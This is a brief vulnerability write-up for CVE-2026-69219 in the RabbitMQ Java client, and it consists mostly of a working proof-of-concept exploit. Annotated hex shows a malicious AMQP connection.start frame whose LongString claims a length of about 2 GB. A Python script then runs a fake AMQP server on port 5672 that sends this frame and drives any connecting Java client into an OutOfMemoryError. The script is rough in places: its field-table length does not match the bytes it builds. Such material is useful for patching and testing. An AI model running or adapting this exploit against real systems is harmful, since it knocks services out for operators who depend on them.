CVE-2026-69219: RabbitMQ Java Client Unchecked LongString Allocation DoS

# Malicious AMQP frame: connection.start with a LongString field
# whose declared length is 0x7FFFFFFE (2,147,483,646 bytes).
# Wire bytes (hex) for a single LongString field-value entry:
#
#   'S'  <-- AMQP field type: LongString
#   7F FF FF FE  <-- content-length: 2,147,483,646 (passes < Integer.MAX_VALUE check)
#   <no bytes follow -- readFully() never reached; OOM fires on new byte[2147483646]>
#
# Minimal Python sketch to trigger via a fake AMQP server:
import socket, struct

FRAME_METHOD = 1
CLASS_CONNECTION, METHOD_START = 10, 10

def build_longstring_field(length_value: int) -> bytes:
    # type tag 'S' + 4-byte big-endian length
    return b'S' + struct.pack('>I', length_value)

def build_connection_start_frame() -> bytes:
    version = b'\x00\x09'          # AMQP 0-9-1
    server_props_len = struct.pack('>I', 9)  # field table length
    # one key 'x' -> LongString with declared length 0x7FFFFFFE
    key = b'\x01x'
    value = build_longstring_field(0x7FFFFFFE)
    field_table = server_props_len + key + value
    mechanisms = b'\x00\x00\x00\x05PLAIN'
    locales    = b'\x00\x00\x00\x05en_US'
    payload    = struct.pack('>HH', CLASS_CONNECTION, METHOD_START) + version + field_table + mechanisms + locales
    frame      = bytes([FRAME_METHOD]) + struct.pack('>HI', 0, len(payload)) + payload + b'\xCE'
    return frame

sock = socket.socket()
sock.bind(('0.0.0.0', 5672))
sock.listen(1)
conn, _ = sock.accept()
conn.recv(8)  # consume AMQP0091 handshake header
conn.sendall(b'AMQP\x00\x00\x09\x01')  # protocol header
conn.recv(1024)
conn.sendall(build_connection_start_frame())
# victim JVM now throws OutOfMemoryError